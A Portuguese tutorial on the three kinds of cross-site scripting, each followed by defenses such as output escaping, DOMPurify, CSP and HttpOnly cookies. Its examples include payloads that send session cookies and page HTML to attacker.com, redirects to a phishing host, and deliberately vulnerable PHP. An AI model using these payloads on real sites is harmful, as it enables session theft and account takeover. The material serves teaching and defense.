Guia Completo de XSS: Reflected, Stored e DOM-Based — Exploração e Defesa Completa Já leu

O que é XSS (Cross-Site Scripting)? XSS é uma vulnerabilidade de segurança que permite a um atacante injetar código malicioso (geralmente JavaScript) em páginas web visualizadas por outras pessoas. Quando o navegador interpreta esse código injetado, ele executa com os mesmos privilégios do site legítimo, permitindo roubo de cookies, sessões, dados sensíveis ou até controle da conta do usuário. A razão fundamental pela qual XSS existe é a confiança implícita do navegador no código JavaScript que renderiza. Se um site não valida e sanitiza adequadamente dados que vêm do usuário ou de fontes externas antes de exibi-los na página, um atacante pode explorar essa brecha. O navegador não consegue diferenciar entre JavaScript legítimo e malicioso — ambos são executados com o mesmo acesso. Existem três variações principais de XSS, cada uma com características e contextos de exploração distintos. Vamos explorar profundamente cada uma delas, entender como funcionam na prática e aprender as melhores estratégias de defesa. XSS Reflected: O Ataque

O que é XSS (Cross-Site Scripting)?

XSS é uma vulnerabilidade de segurança que permite a um atacante injetar código malicioso (geralmente JavaScript) em páginas web visualizadas por outras pessoas. Quando o navegador interpreta esse código injetado, ele executa com os mesmos privilégios do site legítimo, permitindo roubo de cookies, sessões, dados sensíveis ou até controle da conta do usuário.

A razão fundamental pela qual XSS existe é a confiança implícita do navegador no código JavaScript que renderiza. Se um site não valida e sanitiza adequadamente dados que vêm do usuário ou de fontes externas antes de exibi-los na página, um atacante pode explorar essa brecha. O navegador não consegue diferenciar entre JavaScript legítimo e malicioso — ambos são executados com o mesmo acesso.

Existem três variações principais de XSS, cada uma com características e contextos de exploração distintos. Vamos explorar profundamente cada uma delas, entender como funcionam na prática e aprender as melhores estratégias de defesa.

XSS Reflected: O Ataque Imediato e Sem Persistência

O que é XSS Reflected

XSS Reflected é o tipo mais simples e imediato. O código malicioso é enviado através da URL ou de parâmetros de requisição e refletido diretamente na resposta do servidor sem persistência. O atacante precisa enganar o usuário para clicar em um link especialmente crafted contendo o payload malicioso. Assim que o usuário sai da página ou acessa um novo link, o ataque termina — nada fica armazenado no servidor.

Você pode pensar em XSS Reflected como um espelho: o servidor simplesmente reflete (ecoa) o que você envia, sem questionar se é seguro. Se você enviar <script>alert('XSS')</script> em um parâmetro de busca e o servidor exibir esse parâmetro direto no HTML, o script será executado.

Exemplos Práticos de Exploração

Suponha um site com um formulário de busca em search.php:

<?php
$search = $_GET['q'];
echo "Você procurou por: " . $search;
?>

Um atacante pode criar a seguinte URL maliciosa:

https://example.com/search.php?q=<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">

Quando uma vítima clica neste link, o servidor reflete o conteúdo do parâmetro q sem escapar, e o navegador executa o código onerror. O cookie da sessão é enviado para o servidor do atacante. O payload usa <img> porque é uma tag HTML válida que dispara onerror quando a imagem falha em carregar — uma técnica comum para contornar filtros ingênuos.

Outro exemplo ainda mais direto:

https://example.com/search.php?q=<script>window.location='https://attacker.com/phishing'</script>

Este payload redireciona o usuário para um site de phishing que imita o site legítimo.

Defesa contra XSS Reflected

A defesa principal é escapar ou codificar saída. Em PHP, use htmlspecialchars():

<?php
$search = $_GET['q'];
// Escapar caracteres especiais para HTML
echo "Você procurou por: " . htmlspecialchars($search, ENT_QUOTES, 'UTF-8');
?>

htmlspecialchars() converte caracteres especiais para entidades HTML:
- < vira &lt;
- > vira &gt;
- " vira &quot;
- ' vira &#039; (com a flag ENT_QUOTES)

Assim, <script> é exibido como texto literal &lt;script&gt;, não como código executável.

Em JavaScript (Node.js/Express), use bibliotecas como xss ou DOMPurify:

const express = require('express');
const xss = require('xss');
const app = express();

app.get('/search', (req, res) => {
  const search = req.query.q;
  const cleanSearch = xss(search); // Remove tags perigosas
  res.send(`Você procurou por: ${cleanSearch}`);
});

app.listen(3000);

A biblioteca xss remove ou escapa tags e atributos maliciosos, preservando o texto seguro.

Para defesa mais robusta em aplicações modernas, use Content Security Policy (CSP):

<meta http-equiv="Content-Security-Policy" 
      content="script-src 'self'; style-src 'self' https://fonts.googleapis.com">

CSP informa ao navegador: "Execute JavaScript apenas de scripts inline aprovados e do domínio 'self'". Mesmo que um atacante injetar <script>malicioso</script>, o navegador recusa executar porque não está na whitelist.

XSS Stored: O Inimigo Silencioso e Persistente

O que é XSS Stored

XSS Stored é significativamente mais perigoso que Reflected porque o código malicioso é persistido no servidor, geralmente em um banco de dados. Toda vez que alguém acessa a página contaminada, o código é executado automaticamente, sem necessidade de um link crafted. Um único ataque pode afetar todos os usuários da aplicação que visualizem o conteúdo comprometido.

Exemplos comuns de superfícies de ataque para XSS Stored:
- Comentários em blogs ou redes sociais
- Descrições de perfil
- Títulos e descrições de produtos
- Mensagens privadas
- Qualquer campo que aceite entrada do usuário e seja exibido a outros usuários

Exemplos Práticos de Exploração

Imagine um blog simples onde usuários podem postar comentários:

<?php
// Salvar comentário no banco
if ($_POST['comment']) {
  $comment = $_POST['comment'];
  mysqli_query($conn, "INSERT INTO comments (content) VALUES ('$comment')");
}

// Exibir comentários
$result = mysqli_query($conn, "SELECT content FROM comments");
while ($row = mysqli_fetch_assoc($result)) {
  echo "<div class='comment'>" . $row['content'] . "</div>";
}
?>

Um atacante posta o seguinte comentário:

<script>
  fetch('/api/admin/promote-user?user_id=12345');
</script>

Este script é armazenado no banco de dados. Quando qualquer usuário acessa a página de comentários, o servidor envia este script para o navegador, que o executa. No exemplo, tenta promover um usuário a admin automaticamente.

Um exemplo mais realista e sutil:

// Comentário injetado
<img src=x onerror="
  fetch('https://attacker.com/log-cookie', {
    method: 'POST',
    body: JSON.stringify({ 
      cookie: document.cookie,
      html: document.documentElement.innerHTML 
    })
  })
">

Este payload é pequeno o suficiente para passar por filtros básicos e envia o cookie mais o HTML completo da página para o servidor do atacante.

Defesa contra XSS Stored

O princípio é o mesmo: validar na entrada, escapar na saída. Mas agora você precisa ser ainda mais rigoroso porque o dado será reutilizado múltiplas vezes.

1. Validar na Entrada:

<?php
function validateComment($comment) {
  // Não permitir tags HTML
  if (preg_match('/<[a-z]/i', $comment)) {
    return false;
  }

  // Limitar tamanho
  if (strlen($comment) > 500) {
    return false;
  }

  return true;
}

if ($_POST['comment'] && validateComment($_POST['comment'])) {
  $comment = mysqli_real_escape_string($conn, $_POST['comment']);
  mysqli_query($conn, "INSERT INTO comments (content) VALUES ('$comment')");
} else {
  echo "Comentário inválido";
}
?>

2. Escapar na Saída (ainda mais importante):

<?php
$result = mysqli_query($conn, "SELECT content FROM comments");
while ($row = mysqli_fetch_assoc($result)) {
  // SEMPRE escapar dados do banco na saída
  echo "<div class='comment'>" . htmlspecialchars($row['content'], ENT_QUOTES, 'UTF-8') . "</div>";
}
?>

Mesmo que um dado perigoso chegasse ao banco (falha na validação), escapar na saída impede sua execução.

3. Use um allowlist para HTML legitimamente necessário:

Se você precisa permitir alguns tags HTML (como bold, italic), use uma biblioteca que remove apenas tags perigosas:

<?php
require 'vendor/autoload.php';
use Html2Text\Html2Text;
use HTMLPurifier;

$config = HTMLPurifier_Config::createDefault();
$config->set('HTML.Allowed', 'p,br,strong,em,a[href]');
$purifier = new HTMLPurifier($config);

$clean = $purifier->purify($_POST['comment']);
mysqli_query($conn, "INSERT INTO comments (content) VALUES ('" . mysqli_real_escape_string($conn, $clean) . "')");
?>

4. Use prepared statements para evitar SQL Injection (bonus):

<?php
$stmt = $conn->prepare("INSERT INTO comments (content) VALUES (?)");
$stmt->bind_param("s", $_POST['comment']);
$stmt->execute();
?>

Prepared statements separam dados de comandos SQL, reduzindo riscos de injeção.

XSS DOM-Based: O Ataque que Acontece no Cliente

O que é XSS DOM-Based

XSS DOM-Based é um ataque que ocorre inteiramente no lado do cliente, no Document Object Model (DOM). O servidor é inocente — o próprio JavaScript legítimo da página processa dados inseguros e os insere no DOM sem sanitização. Não há reflexão do servidor, não há armazenamento — apenas JavaScript fazendo operações inseguras.

A diferença crucial: em Reflected e Stored, o servidor envia HTML contendo código malicioso. Em DOM-Based, o servidor envia HTML e JavaScript corretos, mas esse JavaScript lê um valor não-confiável (de window.location, document.referrer, localStorage, etc.) e o coloca no DOM sem escapar.

Exemplos Práticos de Exploração

Um exemplo clássico:

<!-- exemplo.html -->
<h1 id="greeting"></h1>

<script>
  // O desenvolvedor tenta ser amigável e personalizar a página
  const name = new URLSearchParams(window.location.search).get('name');
  document.getElementById('greeting').innerHTML = `Olá, ${name}!`;
</script>

URL legítima: exemplo.html?name=João → Exibe "Olá, João!"

URL maliciosa: exemplo.html?name=<img src=x onerror="alert('XSS')">

Quando o JavaScript executa innerHTML = 'Olá, <img src=x onerror="alert(\'XSS\')">!', o navegador interpreta a string como HTML e executa o evento onerror.

Um exemplo ainda mais realista — uma busca que filtra em tempo real:

<input type="text" id="search" placeholder="Buscar produtos...">
<div id="results"></div>

<script>
  document.getElementById('search').addEventListener('input', function(e) {
    const query = e.target.value;
    // Sem escapar, apenas inserindo diretamente
    document.getElementById('results').innerHTML = 
      `Resultados para: <strong>${query}</strong>`;
  });
</script>

Se o usuário digitar ou navegar para uma URL com #Resultados para: <img src=x onerror="document.location='https://attacker.com'">, o DOM é atualizado com este payload executável.

Defesa contra XSS DOM-Based

A defesa é usar métodos seguros do DOM e escapar dados manualmente:

1. Evite innerHTML, use textContent ou métodos seguros:

// ❌ INSEGURO
document.getElementById('greeting').innerHTML = `Olá, ${name}!`;

// ✅ SEGURO
document.getElementById('greeting').textContent = `Olá, ${name}!`;

textContent insere texto puro, não interpreta HTML. Tags HTML são exibidas literalmente.

2. Use createElement e appendChild para estrutura mais complexa:

const greeting = document.createElement('h1');
greeting.textContent = `Olá, ${name}!`;
document.body.appendChild(greeting);

// Se precisar de HTML, construa com segurança
const link = document.createElement('a');
link.href = userProvidedUrl; // navegador valida URLs
link.textContent = userProvidedText; // texto é escapado automaticamente
document.body.appendChild(link);

3. Se deve usar innerHTML, escape manualmente:

function escapeHtml(text) {
  const div = document.createElement('div');
  div.textContent = text;
  return div.innerHTML;
}

// Uso
const name = new URLSearchParams(window.location.search).get('name');
document.getElementById('greeting').innerHTML = 
  `Olá, <strong>${escapeHtml(name)}</strong>!`;

4. Use bibliotecas modernas de templating:

Com bibliotecas como React, Vue ou Angular, escaping é feito automaticamente:

// React — escapa automaticamente
const name = new URLSearchParams(window.location.search).get('name');
return <h1>Olá, {name}!</h1>; // name é escapado automaticamente

// Vue
<h1>Olá, {{ name }}!</h1>  <!-- escapado automaticamente -->

5. Valide e sanitize dados de fontes não-confiáveis:

import DOMPurify from 'dompurify';

const userInput = new URLSearchParams(window.location.search).get('html');
const clean = DOMPurify.sanitize(userInput);
document.getElementById('content').innerHTML = clean;

DOMPurify remove scripts e eventos, mantendo HTML seguro.

Estratégia de Defesa em Profundidade

Defense in Depth: Múltiplas Camadas

Nenhuma técnica é 100% segura sozinha. A melhor abordagem é implementar múltiplas camadas de defesa:

1. Validação de Entrada (Whitelist):

Aceite apenas formatos esperados. Não confie em filtros (blacklist) — use regras positivas (whitelist):

// Ruim: Bloquear tags perigosas
if (!input.includes('<script>')) acceptInput();

// Bom: Aceitar apenas números e letras
if (/^[a-zA-Z0-9\s]+$/.test(input)) acceptInput();

2. Escape de Saída (Context-Aware):

O escape depende do contexto onde o dado será inserido:

// Dentro de HTML
escapeHtml: (text) => text.replace(/[&<>"']/g, char => ({
  '&': '&amp;',
  '<': '&lt;',
  '>': '&gt;',
  '"': '&quot;',
  "'": '&#039;'
}[char])),

// Dentro de JavaScript
escapeJs: (text) => text.replace(/[\\"\n\r]/g, char => ({
  '\\': '\\\\',
  '"': '\\"',
  '\n': '\\n',
  '\r': '\\r'
}[char])),

// Dentro de URL
escapeUrl: (text) => encodeURIComponent(text)

3. Content Security Policy (CSP):

<meta http-equiv="Content-Security-Policy" 
      content="
        default-src 'self';
        script-src 'self' 'unsafe-inline' https://trusted-cdn.com;
        style-src 'self' https://fonts.googleapis.com;
        img-src 'self' data: https:;
        connect-src 'self' https://api.example.com;
      ">

Mesmo com um XSS não-detectado, CSP restringe o que o script pode fazer.

4. HttpOnly e Secure Flags para Cookies:

setcookie('session', $token, [
  'httponly' => true,  // JavaScript não acessa document.cookie
  'secure' => true,    // Apenas HTTPS
  'samesite' => 'Strict' // Não é enviado em requisições cross-site
]);

Mesmo se um atacante injeta JavaScript, não consegue roubar cookies importantes.

5. Monitoramento e Logging:

// Log tentativas de XSS para análise
window.addEventListener('error', (event) => {
  if (event.message.includes('unsafe')) {
    fetch('/log-csp-violation', {
      method: 'POST',
      body: JSON.stringify({
        error: event.message,
        timestamp: new Date(),
        url: window.location.href
      })
    });
  }
});

Conclusão

Os três tipos de XSS — Reflected, Stored e DOM-Based — são vulnerabilidades críticas que exploram a confiança excessiva no código que executa no navegador. A diferença principal está em onde o payload é armazenado (URL, banco de dados ou memória local) e quando é entregue, mas a essência é sempre a mesma: código malicioso executando com privilégios legítimos.

A defesa eficaz não depende de uma única técnica mágica, mas de múltiplas camadas de proteção coordenadas: validar com whitelist na entrada, escapar conscientemente na saída (considerando o contexto), usar bibliotecas testadas (como DOMPurify, HTMLPurifier), implementar CSP como rede de segurança, e proteger cookies com flags apropriadas. Em aplicações modernas, usar frameworks com auto-escaping (React, Vue, Angular) reduz drasticamente o risco.

O conhecimento profundo dessas três variantes permite identificar vulnerabilidades em código real, implementar patches corretos e comunicar riscos de segurança com clareza técnica — habilidades essenciais para qualquer desenvolvedor profissional.

Referências


Artigos relacionados